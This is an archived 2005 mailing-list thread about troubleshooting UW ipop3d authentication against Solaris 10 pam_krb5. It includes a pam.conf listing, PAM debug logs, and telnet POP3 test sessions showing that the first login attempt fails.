pam_unix_cred.so.1 krlogin auth binding pam_krb5.so.1 debug krlogin auth required pam_unix_auth.so.1 # # rsh service (explicit because of pam_rhost_auth, # and pam_unix_auth for meaningful pam_setcred) # rsh auth sufficient pam_rhosts_auth.so.1 rsh auth required pam_unix_cred.so.1 # # Kerberized rsh service # krsh auth required pam_unix_cred.so.1 krsh auth binding pam_krb5.so.1 debug krsh auth required pam_unix_auth.so.1 # # Kerberized telnet service # ktelnet auth required pam_unix_cred.so.1 ktelnet auth binding pam_krb5.so.1 debug ktelnet auth required pam_unix_auth.so.1 # # PPP service (explicit because of pam_dial_auth) # ppp auth requisite pam_authtok_get.so.1 ppp auth required pam_dhkeys.so.1 ppp auth required pam_unix_cred.so.1 ppp auth required pam_unix_auth.so.1 ppp auth required pam_dial_auth.so.1 # # Default definitions for Authentication management # Used when service name is not explicitly mentioned for authentication # other auth requisite pam_authtok_get.so.1 other auth required pam_dhkeys.so.1 other auth required pam_unix_cred.so.1 other auth sufficient pam_krb5.so.1 debug other auth required pam_unix_auth.so.1 # # passwd command (explicit because of a different authentication module) # passwd auth required pam_passwd_auth.so.1 # # cron service (explicit because of non-usage of pam_roles.so.1) # cron account required pam_unix_account.so.1 # # Default definition for Account management # Used when service name is not explicitly mentioned for account management # other account requisite pam_roles.so.1 other account required pam_unix_account.so.1 # # Default definition for Session management # Used when service name is not explicitly mentioned for session management # other session required pam_unix_session.so.1 # # Default definition for Password management # Used when service name is not explicitly mentioned for password management # other password required pam_dhkeys.so.1 other password requisite pam_authtok_get.so.1 other password requisite pam_authtok_check.so.1 other password required pam_authtok_store.so.1 # # Support for Kerberos V5 authentication and example configurations can # be found in the pam_krb5(5) man page under the "EXAMPLES" section. # iMay 8 18:24:04 srv03fac ipop3d[8499]: [ID 655841 mail.debug] PAM-KRB5 (auth): pam_sm_authenticate flags=0 May 8 18:24:04 srv03fac ipop3d[8499]: [ID 549540 mail.debug] PAM-KRB5 (auth): attempt_krb5_auth: start: user='briancs' May 8 18:24:04 srv03fac ipop3d[8499]: [ID 704353 mail.debug] PAM-KRB5 (auth): Forwardable tickets requested May 8 18:24:04 srv03fac ipop3d[8499]: [ID 912857 mail.debug] PAM-KRB5 (auth): Renewable tickets requested May 8 18:24:04 srv03fac ipop3d[8499]: [ID 179272 mail.debug] PAM-KRB5 (auth): attempt_krb5_auth:krb5_get_init_creds_password returns: SUCCESS May 8 18:24:04 srv03fac ipop3d[8499]: [ID 833335 mail.debug] PAM-KRB5 (auth): attempt_krb5_auth returning 0 May 8 18:24:04 srv03fac ipop3d[8499]: [ID 914654 mail.debug] PAM-KRB5 (auth): pam_sm_auth finalize ccname env, result =0, env='KRB5CCNAME=FILE:/tmp/krb5cc_100', age = 0, status = 0 May 8 18:24:04 srv03fac ipop3d[8499]: [ID 525286 mail.debug] PAM-KRB5 (auth): end: Success May 8 18:24:04 srv03fac ipop3d[8499]: [ID 629253 mail.debug] PAM-KRB5 (setcred): start: nowarn = 0, flags = 0x1 May 8 18:24:04 srv03fac ipop3d[8499]: [ID 586274 mail.debug] PAM-KRB5 (setcred): kmd auth_status: Success May 8 18:24:04 srv03fac ipop3d[8499]: [ID 522831 mail.debug] PAM-KRB5 (setcred): attempt_refresh: set uid of user 'briancs' May 8 18:24:04 srv03fac ipop3d[8499]: [ID 735350 mail.debug] PAM-KRB5 (setcred): end: Success May 8 18:24:10 srv03fac ipop3d[8499]: [ID 533678 mail.info] Logout user=briancs host=UNKNOWN May 8 18:24:10 srv03fac ipop3d[8499]: [ID 629253 mail.debug] PAM-KRB5 (setcred): start: nowarn = 0, flags = 0x2 May 8 18:24:10 srv03fac ipop3d[8499]: [ID 586274 mail.debug] PAM-KRB5 (setcred): kmd auth_status: Success May 8 18:24:10 srv03fac ipop3d[8499]: [ID 337111 mail.debug] PAM-KRB5 (setcred): deleting user's credentials (initcreds) May 8 18:24:10 srv03fac ipop3d[8499]: [ID 735350 mail.debug] PAM-KRB5 (setcred): end: Success May 8 18:24:10 srv03fac ipop3d[8499]: [ID 490997 mail.debug] PAM-KRB5 (auth): krb5_cleanup auth_status = 12 Mark Crispin wrote: > The authentication code is identical between ipop3d and imapd, at > least in those using the same build. > > Did you remember to create a pop profile in /etc/pam.d? What's in it? > It can be identical to the imap profile (and probably should be). > Note that when ipop3d logs in, PAM will use the pop profile and not > the imap profile. > > -- Mark -- > > http://staff.washington.edu/mrc > Science does not emerge from voting, party politics, or public debate. > Si vis pacem, para bellum. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Sun May 8 18:43:58 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 8 May 2005 18:43:58 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j491hwbE024757 for ; Sun, 8 May 2005 18:43:58 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j491hwrK024201 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Sun, 8 May 2005 18:43:58 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j491hcPJ031666; Sun, 8 May 2005 18:43:38 -0700 Received: from mxi3.u.washington.edu (mxi3.u.washington.edu [140.142.32.176]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j491eh5v029753 for ; Sun, 8 May 2005 18:40:43 -0700 Received: from mxout7.cac.washington.edu (mxout7.cac.washington.edu [140.142.32.178]) by mxi3.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j491egS4014532 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Sun, 8 May 2005 18:40:42 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout7.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j491efID032482; Sun, 8 May 2005 18:40:42 -0700 Received: from pangtzu.panda.com (pangtzu.panda.com [206.124.149.117]) (authenticated authid=mrc) by smtp.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j491eRmG011200 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Sun, 8 May 2005 18:40:41 -0700 Date: Sun, 8 May 2005 18:40:27 -0700 (PDT) From: Mark Crispin To: Brian Thompson Subject: Re: [Imap-uw] ipop3d incompatible with Solaris10 built in pam_krb5? In-Reply-To: <427EBC04.5000105@eng.wayne.edu> Message-ID: References: <427EB2D1.5090400@eng.wayne.edu> <427EBC04.5000105@eng.wayne.edu> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Scanned-By: MIMEDefang 2.49 on 140.142.33.1 X-Scanned-By: MIMEDefang 2.49 on 140.142.32.176 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu I don't use Solaris, and I can't tell you how PAM on Solaris works other than the fact that I know that PAM on Solaris doesn't pass the appdata_ptr correctly (hence the need for the "broken PAM" module). The call to PAM is identical in both imapd and ipop3d, with the exception that pam_start() is being given a service name of "pop" rather than of "imap". I suggest that you create explicit rules for imap and pop. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Sun May 8 19:24:08 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 8 May 2005 19:24:08 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j492O8u7026181 for ; Sun, 8 May 2005 19:24:08 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j492O7vP026062 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Sun, 8 May 2005 19:24:07 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j492Ns7h005123; Sun, 8 May 2005 19:23:54 -0700 Received: from mxe2.u.washington.edu (mxe2.u.washington.edu [140.142.33.14]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j492NrwC005115 for ; Sun, 8 May 2005 19:23:53 -0700 Received: from ldap.eng.wayne.edu (ldap.eng.wayne.edu [141.217.202.31]) by mxe2.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j492NqXP030783 for ; Sun, 8 May 2005 19:23:53 -0700 Received: from [141.217.204.111] ([141.217.204.111]) by ldap.eng.wayne.edu (8.12.9/8.12.9) with ESMTP id j492Gqa9012188; Sun, 8 May 2005 22:16:52 -0400 (EDT) Message-ID: <427EC9B1.7010202@eng.wayne.edu> Date: Sun, 08 May 2005 22:23:45 -0400 From: Brian Thompson User-Agent: Mozilla Thunderbird 0.8 (Windows/20040904) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Mark Crispin Subject: Re: [Imap-uw] ipop3d incompatible with Solaris10 built in pam_krb5? References: <427EB2D1.5090400@eng.wayne.edu> <427EBC04.5000105@eng.wayne.edu> In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.49 on 140.142.33.1 X-Scanned-By: MIMEDefang 2.49 on 140.142.33.14 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Ok, this keeps getting wierder... I was testing imapd using Thunderbird, since it was already configured on my desktop for my inbox. Then to test ipop3d I was using telnet to connect to port 110 (user, pass, quit). Just to get rid of any other variables that might be different, I created a Thunderbird profile on my desktop configured for pop3. Thunderbird (pop3) works with either the krb5 password or the local password while telnet servername 110 only works with the local password. Then I figured maybe it had something to do with me typing "telnet localhost 110" on the server so I tried telnet servername 110 from my desktop and it still failed. What could Thunderbird be doing differently than telnet and why do only krb5 passwords fail via telnet, not also local passwords via telnet? -Brian Mark Crispin wrote: > I don't use Solaris, and I can't tell you how PAM on Solaris works > other than the fact that I know that PAM on Solaris doesn't pass the > appdata_ptr correctly (hence the need for the "broken PAM" module). > > The call to PAM is identical in both imapd and ipop3d, with the > exception that pam_start() is being given a service name of "pop" > rather than of "imap". > > I suggest that you create explicit rules for imap and pop. > > -- Mark -- > > http://staff.washington.edu/mrc > Science does not emerge from voting, party politics, or public debate. > Si vis pacem, para bellum. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Sun May 8 19:46:43 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 8 May 2005 19:46:43 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j492kgST027038 for ; Sun, 8 May 2005 19:46:42 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j492kfAo027477 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Sun, 8 May 2005 19:46:42 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j492kN3w006956; Sun, 8 May 2005 19:46:23 -0700 Received: from mxi2.u.washington.edu (mxi2.u.washington.edu [140.142.33.12]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j492kL69006948 for ; Sun, 8 May 2005 19:46:21 -0700 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mxi2.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j492kLJV028471 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Sun, 8 May 2005 19:46:21 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout5.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j492kKL1030528; Sun, 8 May 2005 19:46:20 -0700 Received: from Shimo-Tomobiki.panda.com (panda.com [206.124.149.114]) (authenticated authid=mrc) by smtp.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j492kIia014121 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Sun, 8 May 2005 19:46:20 -0700 Date: Sun, 8 May 2005 19:46:14 -0700 From: Mark Crispin To: Brian Thompson Subject: Re: [Imap-uw] ipop3d incompatible with Solaris10 built in pam_krb5? In-Reply-To: <427EC9B1.7010202@eng.wayne.edu> Message-ID: References: <427EB2D1.5090400@eng.wayne.edu> <427EBC04.5000105@eng.wayne.edu> <427EC9B1.7010202@eng.wayne.edu> Organization: Networks & Distributed Computing MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Scanned-By: MIMEDefang 2.49 on 140.142.33.1 X-Scanned-By: MIMEDefang 2.49 on 140.142.33.12 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Are you absolutely certain that you are running the binaries that you think you are? Is there any possibility that the binary on the SSL port is different than the binary on the plaintext port (so maybe Thunderbird is connecting on the SSL port)? Have you tried creating explicit rules for imap and pop like I suggested in the previous message? This sounds very much like a configuration problem, so I suggest that you review every detail of your [x]inetd, PAM, and ports configuration. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Sun May 8 19:58:03 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 8 May 2005 19:58:03 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j492w3uU027495 for ; Sun, 8 May 2005 19:58:03 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j492w2To013670 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Sun, 8 May 2005 19:58:02 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j492vgLJ007951; Sun, 8 May 2005 19:57:42 -0700 Received: from mxe4.u.washington.edu (mxe4.u.washington.edu [140.142.33.15]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j492vfdB007943 for ; Sun, 8 May 2005 19:57:41 -0700 Received: from ldap.eng.wayne.edu (ldap.eng.wayne.edu [141.217.202.31]) by mxe4.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j492veHQ013266 for ; Sun, 8 May 2005 19:57:41 -0700 Received: from [141.217.204.111] ([141.217.204.111]) by ldap.eng.wayne.edu (8.12.9/8.12.9) with ESMTP id j492oea9012968; Sun, 8 May 2005 22:50:40 -0400 (EDT) Message-ID: <427ED19E.9000805@eng.wayne.edu> Date: Sun, 08 May 2005 22:57:34 -0400 From: Brian Thompson User-Agent: Mozilla Thunderbird 0.8 (Windows/20040904) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Mark Crispin Subject: Re: [Imap-uw] ipop3d incompatible with Solaris10 built in pam_krb5? References: <427EB2D1.5090400@eng.wayne.edu> <427EBC04.5000105@eng.wayne.edu> <427EC9B1.7010202@eng.wayne.edu> In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.49 on 140.142.32.140 X-Scanned-By: MIMEDefang 2.49 on 140.142.33.15 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu I did create explicit pop and imap services in pam.conf as you suggested. Again, there's no issues with telnet, ftp, ssh, or now I guess Thunderbird. Here's some more info. Earlier I was thinking I must have mistyped the password via telnet but it just doesn't work the the first time. At least we know it isn't a pam_krb5 vs. pam_unix issue now. I'm guessing there must be something different about Thunderbird's login procedure that makes it retry a second time? Or maybe just different timing? Or? srv03fac# telnet localhost 110 Trying 127.0.0.1... Connected to localhost. Escape character is '^]'. +OK POP3 localhost 2004.89 server ready user briancs +OK User name accepted, password please pass 123localpw456 -ERR Bad login pass 123localpw456 +OK Mailbox open, 4382 messages quit +OK Sayonara Connection to localhost closed by foreign host. srv03fac# !! telnet localhost 110 Trying 127.0.0.1... Connected to localhost. Escape character is '^]'. +OK POP3 localhost 2004.89 server ready user briancs +OK User name accepted, password please pass 123krb5pw456 -ERR Bad login pass 123krb5pw456 +OK Mailbox open, 4382 messages quit +OK Sayonara Connection to localhost closed by foreign host. Mark Crispin wrote: > Are you absolutely certain that you are running the binaries that you > think you are? Is there any possibility that the binary on the SSL > port is different than the binary on the plaintext port (so maybe > Thunderbird is connecting on the SSL port)? > > Have you tried creating explicit rules for imap and pop like I > suggested in the previous message? > > This sounds very much like a configuration problem, so I suggest that > you review every detail of your [x]inetd, PAM, and ports configuration. > > -- Mark -- > > http://staff.washington.edu/mrc > Science does not emerge from voting, party politics, or public debate. > Si vis pacem, para bellum. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Sun May 8 20:22:27 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 8 May 2005 20:22:27 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j493MRMc028335 for ; Sun, 8 May 2005 20:22:27 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j493MQVV014646 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Sun, 8 May 2005 20:22:26 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j493MFWr009606; Sun, 8 May 2005 20:22:15 -0700 Received: from mxe7.u.washington.edu (mxe7.u.washington.edu [140.142.32.169]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j493ME9x009598 for ; Sun, 8 May 2005 20:22:14 -0700 Received: from ldap.eng.wayne.edu (ldap.eng.wayne.edu [141.217.202.31]) by mxe7.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j493MEst006285 for ; Sun, 8 May 2005 20:22:14 -0700 Received: from [141.217.204.111] ([141.217.204.111]) by ldap.eng.wayne.edu (8.12.9/8.12.9) with ESMTP id j493FCa9013309; Sun, 8 May 2005 23:15:13 -0400 (EDT) Message-ID: <427ED75E.4010904@eng.wayne.edu> Date: Sun, 08 May 2005 23:22:06 -0400 From: Brian Thompson User-Agent: Mozilla Thunderbird 0.8 (Windows/20040904) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Brian Thompson Subject: Re: [Imap-uw] ipop3d incompatible with Solaris10 built in pam_krb5? References: <427EB2D1.5090400@eng.wayne.edu> <427EBC04.5000105@eng.wayne.edu> <427EC9B1.7010202@eng.wayne.edu> <427ED19E.9000805@eng.wayne.edu> In-Reply-To: <427ED19E.9000805@eng.wayne.edu> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.49 on 140.142.32.140 X-Scanned-By: MIMEDefang 2.49 on 140.142.32.169 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' Cc: Mark Crispin , imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu I just checked the debug log and it appears Thunderbird does try log in twice. It fails the first time and succeeds the second time (all transparent to the user). Interesting... -Brian Brian Thompson wrote: > I did create explicit pop and imap services in pam.conf as you > suggested. Again, there's no issues with telnet, ftp, ssh, or now > I guess Thunderbird. > > Here's some more info. Earlier I was thinking I must have mistyped the > password via telnet but it just doesn't work the the first time. At least > we know it isn't a pam_krb5 vs. pam_unix issue now. > > I'm guessing there must be something different about Thunderbird's login > procedure that makes it retry a second time? Or maybe just different > timing? Or? > > srv03fac# telnet localhost 110 > Trying 127.0.0.1... > Connected to localhost. > Escape character is '^]'. > +OK POP3 localhost 2004.89 server ready > user briancs > +OK User name accepted, password please > pass 123localpw456 > -ERR Bad login > pass 123localpw456 > +OK Mailbox open, 4382 messages > quit > +OK Sayonara > Connection to localhost closed by foreign host. > > srv03fac# !! > telnet localhost 110 > Trying 127.0.0.1... > Connected to localhost. > Escape character is '^]'. > +OK POP3 localhost 2004.89 server ready > user briancs > +OK User name accepted, password please > pass 123krb5pw456 > -ERR Bad login > pass 123krb5pw456 > +OK Mailbox open, 4382 messages > quit > +OK Sayonara > Connection to localhost closed by foreign host. > > Mark Crispin wrote: > >> Are you absolutely certain that you are running the binaries that you >> think you are? Is there any possibility that the binary on the SSL >> port is different than the binary on the plaintext port (so maybe >> Thunderbird is connecting on the SSL port)? >> >> Have you tried creating explicit rules for imap and pop like I >> suggested in the previous message? >> >> This sounds very much like a configuration problem, so I suggest that >> you review every detail of your [x]inetd, PAM, and ports configuration. >> >> -- Mark -- >> >> http://staff.washington.edu/mrc >> Science does not emerge from voting, party politics, or public debate. >> Si vis pacem, para bellum. > > > _______________________________________________ > Imap-uw mailing list > Imap-uw@u.washington.edu > https://mailman1.u.washington.edu/mailman/listinfo/imap-uw _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Mon May 9 04:23:08 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 9 May 2005 04:23:08 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j49BN8wO016673 for ; Mon, 9 May 2005 04:23:08 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j49BN7ta020311 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 9 May 2005 04:23:07 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j49BMmrb001144; Mon, 9 May 2005 04:22:48 -0700 Received: from mxe3.u.washington.edu (mxe3.u.washington.edu [140.142.32.137]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j49BMl4l001135 for ; Mon, 9 May 2005 04:22:47 -0700 Received: from hermes.dur.ac.uk (hermes.dur.ac.uk [129.234.4.9]) by mxe3.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.04) with ESMTP id j49BMjlt004483 for ; Mon, 9 May 2005 04:22:46 -0700 Received: from smtphost1.dur.ac.uk (smtphost1.dur.ac.uk [129.234.4.208]) by hermes.dur.ac.uk (8.11.7-20030923/8.11.7) with ESMTP id j49BLT225771; Mon, 9 May 2005 12:21:29 +0100 (BST) Received: from arachne.dur.ac.uk (arachne.dur.ac.uk [129.234.2.4]) by smtphost1.dur.ac.uk (8.12.10+Sun/8.11.7) with ESMTP id j49BLMMt006963; Mon, 9 May 2005 12:21:22 +0100 (BST) Received: from localhost (dcl0tdl@localhost) by arachne.dur.ac.uk (8.11.7p1+Sun/8.11.1) with ESMTP id j49BLMd17510; Mon, 9 May 2005 12:21:22 +0100 (BST) Date: Mon, 9 May 2005 12:21:22 +0100 (BST) From: David Lee To: Brian Thompson Subject: Re: [Imap-uw] ipop3d incompatible with Solaris10 built in pam_krb5? In-Reply-To: <427EB2D1.5090400@eng.wayne.edu> Message-ID: References: <427EB2D1.5090400@eng.wayne.edu> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-DurhamAcUk-MailScanner: Found to be clean, Found to be clean X-Scanned-By: MIMEDefang 2.49 on 140.142.33.1 X-Scanned-By: MIMEDefang 2.49 on 140.142.32.137 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__C230066_P5 0, __CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Sun, 8 May 2005, Brian Thompson wrote: > Ok, this one I just can't seem to get working no matter what I try... > > Here's the setup: > The mail server (Solaris 10/sparc) is a client machine within a krb5 realm > and some users need to use their krb5 password. > The mail server also has some users who need to use their local /etc/shadow > password. > We're using imap-2004d source distribution compiled without SSL support, with > "pmb" pam support, using the Sun workshop compilers "make soc". > > pam_krb and pam_unix are both working. They authenticate fine for telnet, > ftp, ssh, and *imapd* using either password. > Users can use either their local password or their krb5 password to check > their email via imapd. I cannot directly answer the question. But I can offer a similar, though still unresolved issue. Our Solaris systems are NIS based. Two or three years ago, we migrated our authentication away from NIS and towards Active Directory. This was basically OK for all services on Solaris 8. But... But when we tried Solaris 9 we found that CDE would not authenticate. All other services were OK. And CDE (and everything else) had been fine on Solaris 8. So the exact combination CDE/S9/krb5 was failing. We opened a call with Sun, but this never get resolved (Solaris is a dwindling part of our service; the CDE machines remain on S8). So something, somewhere is wrong with a specific service (CDE) on S9/krb5. It wouldn't surprise me if this remains unresolved in S10 (your OS) and/or if S10 has introduced another, analogous strange bug that might affect other particular services. Sorry that doesn't directly help. But it illustrates that Sun's PAM/krb5 has had bugs in the past. It might be worth opening a call with them. (But don't hold your breath for a quick resolution!) -- : David Lee I.T. Service : : Senior Systems Programmer Computer Centre : : University of Durham : : http://www.dur.ac.uk/t.d.lee/ South Road : : Durham : : Phone: +44 191 334 2752 U.K. : 